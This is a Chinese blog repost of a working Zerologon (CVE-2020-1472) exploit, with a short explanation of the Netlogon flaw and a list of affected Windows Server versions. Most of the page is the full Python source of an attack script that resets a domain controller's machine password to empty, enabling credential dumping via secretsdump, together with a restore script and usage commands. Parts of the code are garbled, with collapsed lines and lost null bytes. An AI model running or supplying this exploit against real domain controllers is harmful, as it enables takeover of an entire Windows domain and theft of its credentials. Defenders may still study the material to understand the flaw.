Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $YECBGYFECGEAFWHA as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2

Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $BBWFDDBHHYHDXXAB as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2
CVE-2020-1472-poc-exp​_创想鸟

CVE-2020-1472-poc-exp​

CVE-2020-1472-poc-exp​

“上个月,microsoft修复了一个非常有趣的漏洞,该漏洞使在您内部网络中立足的攻击者基本上可以一键成为domain admin。从攻击者的角度来看,所需要做的只是连接到域控制器”

漏洞背景

Secura的安全专家Tom Tervoort以前曾在去年发现一个不太严重的Netlogon漏洞,该漏洞使工作站可以被接管,但攻击者需要一个中间人(PitM)才能正常工作。现在,他在协议中发现了第二个更为严重的漏洞(CVSS分数:10.0)。通过伪造用于特定Netlogon功能的身份验证令牌,他能够调用一个功能以将域控制器的计算机密码设置为已知值。之后,攻击者可以使用此新密码来控制域控制器并窃取域管理员的凭据。

该漏洞源于Netlogon远程协议所使用的加密身份验证方案中的一个缺陷,该缺陷可用于更新计算机密码。此缺陷使攻击者可以模拟任何计算机,包括域控制器本身,并代表他们执行远程过程调用。

漏洞简介

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

受影响的版本

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

· Windows Server 2019 (Server Core installation)

· Windows Server, version 1903 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

2020圣诞节倒计时页面动画特效 2020圣诞节倒计时页面动画特效

2020圣诞节倒计时页面动画特效 206 查看详情 2020圣诞节倒计时页面动画特效

· Windows Server, version 2004 (Server Core installation)

攻击示例:

CVE-2020-1472-poc-exp​

使用方法

· 使用IP和DC的netbios名称运行cve-2020-1472-exploit.py

· DCsec与secretsdump,使用-just-dc和-no-pass或空哈希以及DCHOSTNAME$帐户

cve-2020-1472-exploit.py代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python3from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import cryptoimport hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.MAX_ATTEMPTS = 2000 # False negative chance: 0.04%def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2)def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # Connect to the DC's Netlogon service.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)  # Use an all-zero challenge and credential.  plaintext = b'' * 8  ciphertext = b'' * 8  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.  flags = 0x212fffff  # Send challenge and authentication request.  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '', target_computer + '', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + '', target_computer + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + '', ciphertext, flags    )    # It worked!    assert server_auth['ErrorCode'] == 0    return rpc_con  except nrpc.DCERPCSessionError as ex:    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')def exploit(dc_handle, rpc_con, target_computer):    request = nrpc.NetrServerPasswordSet2()    request['PrimaryName'] = dc_handle + ''    request['AccountName'] = target_computer + '$'    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel    authenticator = nrpc.NETLOGON_AUTHENTICATOR()    authenticator['Credential'] = b'' * 8    authenticator['Timestamp'] = 0    request['Authenticator'] = authenticator    request['ComputerName'] = target_computer + ''    request['ClearNewPassword'] = b'' * 516    return rpc_con.request(request)def perform_attack(dc_handle, dc_ip, target_computer):  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)    if rpc_con == None:      print('=', end='', flush=True)    else:      break  if rpc_con:    print('Target vulnerable, changing account password to empty string')    result = exploit(dc_handle, rpc_con, target_computer)    print('Result: ', end='')    print(result['ErrorCode'])    if result['ErrorCode'] == 0:        print('Exploit complete!')    else:        print('Non-zero return code, something went wrong?')  else:    print('Attack failed. Target is probably patched.')    sys.exit(1)if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py  ')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv    dc_name = dc_name.rstrip('$')    perform_attack('\' + dc_name, dc_ip, dc_name)

请注意:

默认情况下,这会更改域控制器帐户的密码。是的,这允许您进行DCSync,但同时也会中断与其他域控制器的通信,因此请当心!

恢复步骤:

如果您确保secretsdump 中的这一行通过(if True:例如使它通过),secretsdump还将从注册表中转储纯文本(十六进制编码)计算机帐户密码。您可以通过在同一DC上运行它并使用DA帐户来执行此操作。

或者,您可以通过首先解压缩注册表配置单元然后脱机运行secretsdump来转储相同的密码(然后它将始终打印明文密钥,因为它无法计算Kerberos哈希,这省去了修改库的麻烦)。

使用此密码,您可以restorepassword.py使用-hexpass参数运行。这将首先使用空密码向同一DC进行身份验证,然后将密码重新设置为原始密码。确保再次提供netbios名称和IP作为目标,例如:

代码语言:javascript代码运行次数:0运行复制

python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc

restorepassword.py

代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python# By @_dirkjan# Uses impacket by SecureAuth Corp# Based on work by Tom Tervoort (Secura)import sysimport loggingimport argparseimport codecsfrom impacket.examples import loggerfrom impacket import versionfrom impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWEDfrom impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket.dcerpc.v5 import epm, nrpcfrom Cryptodome.Cipher import AESfrom binascii import unhexlifyfrom struct import pack, unpackclass ChangeMachinePassword:    KNOWN_PROTOCOLS = {        135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},        139: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        445: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        }    def __init__(self, username='', password='', domain='', port = None,                 hashes = None, domain_sids = False, maxRid=4000):        self.__username = username        self.__password = password        self.__port = port        self.__maxRid = int(maxRid)        self.__domain = domain        self.__lmhash = ''        self.__nthash = ''        self.__domain_sids = domain_sids        if hashes is not None:            self.__lmhash, self.__nthash = hashes.split(':')    def dump(self, remoteName, remoteHost):        stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')        logging.info('StringBinding %s'%stringbinding)        rpctransport = transport.DCERPCTransportFactory(stringbinding)        dce = rpctransport.get_dce_rpc()        dce.connect()        dce.bind(nrpc.MSRPC_UUID_NRPC)        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '', b'12345678')        serverChallenge = resp['ServerChallenge']        ntHash = unhexlify(self.__nthash)        # Empty at this point        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge)        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey)        try:            resp = nrpc.hNetrServerAuthenticate3(dce, '\' + remoteName + '', self.__username + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '',self.ppp, 0x212fffff )        except Exception as e:            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:                raise        self.clientStoredCredential = pack('<Q', unpack('<Q',self.ppp)[0] + 10)        request = NetrServerPasswordSet2()        request['PrimaryName'] = '\' + remoteName + ''        request['AccountName'] = remoteName + '$'        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel        request['Authenticator'] = self.update_authenticator()        request['ComputerName'] = remoteName + ''        encpassword = nrpc.ComputeNetlogonCredentialAES(self.__password, self.sessionKey)        indata = b'' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))        request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(indata, self.sessionKey)        result = dce.request(request)        print('Change password OK')    def update_authenticator(self, plus=10):        authenticator = nrpc.NETLOGON_AUTHENTICATOR()        authenticator['Credential'] = nrpc.ComputeNetlogonCredentialAES(self.clientStoredCredential, self.sessionKey)        authenticator['Timestamp'] = plus        return authenticator# Process command-line arguments.if __name__ == '__main__':    # Init the example's logger theme    logger.init()    # Explicitly changing the stdout encoding format    if sys.stdout.encoding is None:        # Output is redirected to a file        sys.stdout = codecs.getwriter('utf8')(sys.stdout)    print(version.BANNER)    parser = argparse.ArgumentParser()    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')    group = parser.add_argument_group('connection')    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '                       'If omitted it will use whatever was specified as target. This is useful when target is the '                       'NetBIOS name and you cannot resolve it')    group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",                       help='Destination port to connect to SMB Server')    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')    group = parser.add_argument_group('authentication')    group.add_argument('-hexpass', action="store", help='Hex encoded plaintext password')    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')    group.add_argument('-no-pass', action="store_true", help='don't ask for password (useful when proxying through smbrelayx)')    if len(sys.argv)==1:        parser.print_help()        sys.exit(1)    options = parser.parse_args()    import re    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(        options.target).groups('')    #In case the password contains '@'    if '@' in remoteName:        password = password + '@' + remoteName.rpartition('@')[0]        remoteName = remoteName.rpartition('@')[2]    if domain is None:        domain = ''    if password == '' and options.hexpass != '':        password = unhexlify(options.hexpass)    if password == '' and username != '' and options.hashes is None and options.no_pass is False:        from getpass import getpass        password = getpass("Password:")    if options.target_ip is None:        options.target_ip = remoteName    action = ChangeMachinePassword(username, password, domain, int(options.port), options.hashes, options.domain_sids)    action.dump(remoteName, options.target_ip)

Github项目地址:

https://github.com/dirkjanm/CVE-2020-1472

参考:

https://www.freebuf.com/articles/system/249860.html

https://www.ddosi.com/b393/

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注再走吧!

此文章仅供学习参考,不得用于违法犯罪!

以上就是CVE-2020-1472-poc-exp​的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/321080.html

赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
opporeno14隐藏功能一览_opporeno有哪些独特功能
上一篇 2025年11月5日 09:49:53
世界第一!我国IPv6活跃用户数达8.65亿
下一篇 2025年11月5日 09:49:54

相关推荐

  • Java中整数类型溢出行为详解:二进制补码与循环特性

    Java中整数类型溢出行为详解:二进制补码与循环特性Java中整数类型溢出行为详解:二进制补码与循环特性Java中整数类型溢出行为详解:二进制补码与循环特性Java中整数类型溢出行为详解:二进制补码与循环特性

    Java中原始整数类型在处理超出其范围的数值时,会遵循一种基于二进制补码的循环溢出机制。这意味着当正数溢出时会“回卷”为负数,反之亦然,如同数字在一个有限的圆环上循环。理解这一特性对于准确预测类型转换和算术运算结果至关重要。 计算机中的数值表示:位、字节与二进制 在计算机底层,所有数据都以二进制形式…

    2026年9月25日 • 用户投稿
    000
  • Java数据类型溢出:原理、预测与避免

    Java数据类型溢出:原理、预测与避免Java数据类型溢出:原理、预测与避免Java数据类型溢出:原理、预测与避免Java数据类型溢出:原理、预测与避免

    本文旨在深入解析Java中数据类型溢出的现象,阐述其背后的二进制补码原理,并提供预测溢出结果的方法。通过理解数据在计算机中的存储方式,以及溢出时数值的循环特性,开发者可以更好地掌握Java中的数据类型,避免潜在的错误。 数据在计算机中的存储:二进制补码 计算机底层使用二进制(bits)来表示所有数据…

    2026年9月25日 • 用户投稿
    000
  • 自媒体如何利用节日营销_利用节日进行自媒体营销的实用方法

    自媒体如何利用节日营销_利用节日进行自媒体营销的实用方法自媒体如何利用节日营销_利用节日进行自媒体营销的实用方法自媒体如何利用节日营销_利用节日进行自媒体营销的实用方法自媒体如何利用节日营销_利用节日进行自媒体营销的实用方法

    节日营销需提前策划主题内容、打造专属视觉风格、发起互动活动、联合账号推广并推出限时福利,通过预热内容、统一设计、用户参与、跨界合作与专属优惠增强粉丝粘性并扩大影响力。 当节日临近时,用户对相关内容的关注度显著提升,自媒体平台上的互动和流量通常会出现明显增长。抓住这一时机进行有针对性的内容策划与推广,…

    2026年9月25日 • 用户投稿
    000
  • 夸克浏览器PC版怎么下载安装_夸克浏览器电脑版下载与安装全流程

    夸克浏览器PC版怎么下载安装_夸克浏览器电脑版下载与安装全流程夸克浏览器PC版怎么下载安装_夸克浏览器电脑版下载与安装全流程夸克浏览器PC版怎么下载安装_夸克浏览器电脑版下载与安装全流程夸克浏览器PC版怎么下载安装_夸克浏览器电脑版下载与安装全流程

    首先访问夸克官网下载电脑版安装包,运行QuarkSetup.exe完成安装并创建快捷方式,最后启动浏览器登录阿里系账号同步数据并进行个性化设置。 如果您尝试在电脑上使用夸克浏览器,但尚未安装其桌面版本,则需要完成下载与安装流程。以下是解决此问题的步骤: 本文运行环境:联想小新Air 14,Windo…

    2026年9月25日 • 用户投稿
    000
  • sublime怎么运行php文件 _sublime PHP文件运行方法

    sublime怎么运行php文件 _sublime PHP文件运行方法sublime怎么运行php文件 _sublime PHP文件运行方法sublime怎么运行php文件 _sublime PHP文件运行方法sublime怎么运行php文件 _sublime PHP文件运行方法

    首先确保PHP已安装并加入环境变量,然后在Sublime Text中创建PHP构建系统:通过Tools → Build System → New Build System…添加对应操作系统的JSON配置,保存为PHP.sublime-build至User目录;接着打开.php文件按Ctrl+ B或C…

    2026年9月25日 • 用户投稿
    000
  • PDF转Word怎么一键转换_PDF一键转Word的简单操作流程

    PDF转Word怎么一键转换_PDF一键转Word的简单操作流程PDF转Word怎么一键转换_PDF一键转Word的简单操作流程PDF转Word怎么一键转换_PDF一键转Word的简单操作流程PDF转Word怎么一键转换_PDF一键转Word的简单操作流程

    可通过在线工具、Word、WPS或Adobe软件将PDF转为Word。在线工具如iLovePDF上传即转;2. Word可直接打开PDF另存为.docx;3. WPS点击“PDF转Word”一键转换;4. Adobe Acrobat选择“导出PDF”为Word格式,精准保留原排版。 如果您需要将PD…

    2026年9月25日 • 用户投稿
    200
  • Java中数据类型溢出的原理及预测方法

    Java中数据类型溢出的原理及预测方法Java中数据类型溢出的原理及预测方法Java中数据类型溢出的原理及预测方法Java中数据类型溢出的原理及预测方法

    本文旨在阐明Java中当数值超出所选数据类型范围时发生的溢出现象,并提供预测溢出结果的方法。文章将深入探讨计算机中数值的存储方式,特别是补码表示法,以及溢出时数值如何“环绕”的原理。通过理解这些概念,读者可以准确预测Java中数据类型溢出的结果。 理解计算机中的数值表示:补码 在计算机中,所有数据最…

    2026年9月25日 • 用户投稿
    100
  • 如何修复电脑硬盘"

    如何修复电脑硬盘"如何修复电脑硬盘"如何修复电脑硬盘"如何修复电脑硬盘"

    最近有小伙伴在后台私信小编说,电脑硬盘坏了能不能修复,该如何修复电脑硬盘。因此,针对该问题,小编就马上跑来整理出来了一些相关于这个方面的内容,那么小伙伴下面就随小编一起来看看如何修复电脑硬盘的方法吧。 众所周知硬盘是电脑中一个非常重要的硬件设备,是电脑主要的存储媒介之一。不过最近有童鞋向小编反映说自…

    2026年9月25日 • 用户投稿
    100
  • sublime怎么配置PHP CS Fixer进行代码格式化_sublime使用PHP CS Fixer自动格式化代码教程

    sublime怎么配置PHP CS Fixer进行代码格式化_sublime使用PHP CS Fixer自动格式化代码教程sublime怎么配置PHP CS Fixer进行代码格式化_sublime使用PHP CS Fixer自动格式化代码教程sublime怎么配置PHP CS Fixer进行代码格式化_sublime使用PHP CS Fixer自动格式化代码教程sublime怎么配置PHP CS Fixer进行代码格式化_sublime使用PHP CS Fixer自动格式化代码教程

    首先安装PHP CS Fixer工具并将其放置于系统指定目录,确保PHP环境正常;接着在Sublime Text中通过Package Control安装PHP CS Fixer插件;然后在插件设置中配置php_cs_fixer_exec_path和php_path指向正确的PHAR文件和PHP可执行…

    2026年9月25日 • 用户投稿
    100
  • 使用 DynamoDBMapper 进行条件更新操作

    使用 DynamoDBMapper 进行条件更新操作使用 DynamoDBMapper 进行条件更新操作使用 DynamoDBMapper 进行条件更新操作使用 DynamoDBMapper 进行条件更新操作

    本文将介绍如何利用 DynamoDBMapper 在 Java 中执行基于当前值的条件更新操作,特别是使用 “ADD” 操作来递减账户余额。虽然 DynamoDBMapper 默认不支持直接使用更新表达式,但通过配置 SaveBehavior,可以实现类似的效果。 Dynam…

    2026年9月25日 • 用户投稿
    000
  • 解决JavaFX应用导出为可运行JAR后FXMLLoader资源加载失败的问题

    解决JavaFX应用导出为可运行JAR后FXMLLoader资源加载失败的问题解决JavaFX应用导出为可运行JAR后FXMLLoader资源加载失败的问题解决JavaFX应用导出为可运行JAR后FXMLLoader资源加载失败的问题解决JavaFX应用导出为可运行JAR后FXMLLoader资源加载失败的问题

    本文旨在解决JavaFX应用在Eclipse中正常运行,但导出为可运行JAR包后,因FXMLLoader无法找到FXML资源文件而抛出IllegalStateException: Location is not set异常的问题。核心解决方案是调整FXMLLoader.setLocation()方法…

    2026年9月25日 • 用户投稿
    100
  • win11屏幕亮度调节不了怎么办_win11屏幕亮度无法调节解决方案

    1、更新显卡与显示器驱动可解决因驱动异常导致的亮度无法调节问题;2、通过修改注册表启用亮度接口能恢复系统对亮度控制的支持;3、关闭电源计划中的自适应亮度避免自动调整干扰;4、安装热键驱动并正确设置功能键模式以确保快捷键生效;5、运行SFC和DISM命令修复系统文件确保系统稳定性。 如果您发现Wind…

    2026年9月25日
    000
  • Chrome浏览器怎么设置最小字体大小_网页最小显示字体设置教程

    Chrome浏览器怎么设置最小字体大小_网页最小显示字体设置教程Chrome浏览器怎么设置最小字体大小_网页最小显示字体设置教程Chrome浏览器怎么设置最小字体大小_网页最小显示字体设置教程Chrome浏览器怎么设置最小字体大小_网页最小显示字体设置教程

    首先调整Chrome最小字体设置至12像素以上,其次可通过页面缩放或开发者工具临时修改字体大小以提升可读性。 如果您发现Chrome浏览器中某些网页的字体过小导致阅读困难,这可能是因为浏览器或网页本身设置了较小的最小字体限制。以下是解决此问题的步骤: 本文运行环境:Dell XPS 13,Windo…

    2026年9月25日 • 用户投稿
    100
  • Debian Apache日志对SEO有何影响

    debian apache日志记录了网站的所有访问请求,包括ip地址、请求类型、响应状态等详细信息。这些日志对于seo有以下几个方面的影响: SEO GPT 免费的白帽SEO,PPC和网站经销商平台 17 查看详情 Apache日志对SEO的重要性 监控网站流量和用户行为:通过分析Apache访问日…

    2026年9月25日
    000
  • win10电脑qq远程桌面连接不上的解决方法

    win10电脑qq远程桌面连接不上的解决方法win10电脑qq远程桌面连接不上的解决方法win10电脑qq远程桌面连接不上的解决方法win10电脑qq远程桌面连接不上的解决方法

    腾讯出品的qq是一款广泛使用的聊天工具,几乎每个人都拥有自己的qq账号,在使用过程中还可以实现远程控制的功能。不过,部分用户反映在尝试远程连接时遇到了障碍,那么win10系统下qq远程连接失败该怎么办呢?接下来就让我们一起探讨win10电脑qq远程桌面连接失败的解决办法。 QQ远程连接无法使用怎么办…

    2026年9月25日 • 用户投稿
    000
  • Java多态中成员变量是否具有动态绑定特性

    成员变量不具有动态绑定特性,其访问基于引用变量的声明类型而非实际对象类型。例如,当父类和子类存在同名成员变量时,通过父类引用访问该变量将获取父类中的值,即使实际对象是子类实例。这体现了静态绑定,即在编译期确定访问的变量。相比之下,实例方法支持动态绑定(后期绑定),在运行时根据对象的实际类型决定调用哪…

    2026年9月25日
    100
  • Java 中处理货币数据的正确方式

    Java 中处理货币数据的正确方式Java 中处理货币数据的正确方式Java 中处理货币数据的正确方式Java 中处理货币数据的正确方式

    在 Java 应用程序中,尤其是在处理财务数据时,选择正确的数据类型至关重要。货币数据通常以特定的格式呈现,例如包含货币符号(如美元符号 $)和千位分隔符(如逗号 ,)。直接将这些数据映射到 DTO 类时,我们需要仔细考虑数据类型的选择,以避免潜在的精度损失和计算错误。 货币数据类型选择考量 常见的…

    2026年9月25日 • 用户投稿
    000
  • 如何在Debian上检测Nginx SSL状态

    在debian系统上检测nginx的ssl状态,可以通过以下几种方法进行: 使用Nginx命令行工具:打开终端,输入以下命令来检查Nginx的SSL配置是否正确: sudo nginx -t -c /etc/nginx/nginx.conf 这个命令会测试Nginx配置文件的语法是否正确,并且会显示…

    2026年9月25日
    000
  • 幕布新手入门教程:从零开始创建你的第一个文档

    幕布新手入门教程:从零开始创建你的第一个文档幕布新手入门教程:从零开始创建你的第一个文档幕布新手入门教程:从零开始创建你的第一个文档幕布新手入门教程:从零开始创建你的第一个文档

    首先注册登录幕布账号,进入主界面后点击新建文档并输入标题,通过回车创建节点、Tab键调整层级,利用快捷键提升效率,最后插入待办、加粗、链接等富文本内容完成结构化笔记。 如果您刚刚开始使用幕布,想要快速上手并创建属于自己的第一份结构化文档,可以通过以下步骤完成基础操作。幕布以大纲笔记为核心,帮助用户高…

    2026年9月25日 • 用户投稿
    000
  • Java 中处理货币数据的最佳实践

    Java 中处理货币数据的最佳实践Java 中处理货币数据的最佳实践Java 中处理货币数据的最佳实践Java 中处理货币数据的最佳实践

    本文旨在探讨在 Java 中处理货币数据的最佳实践。面对 JSON 数据中包含的货币值(例如 “$234,205,860″),直接使用 String 存储是一种选择,但可能并非最优。本文将深入分析各种数据类型在处理货币时的优劣,并推荐使用 BigDecimal 进行精确计算,…

    2026年9月25日 • 用户投稿
    000

发表回复

登录后才能评论
关注微信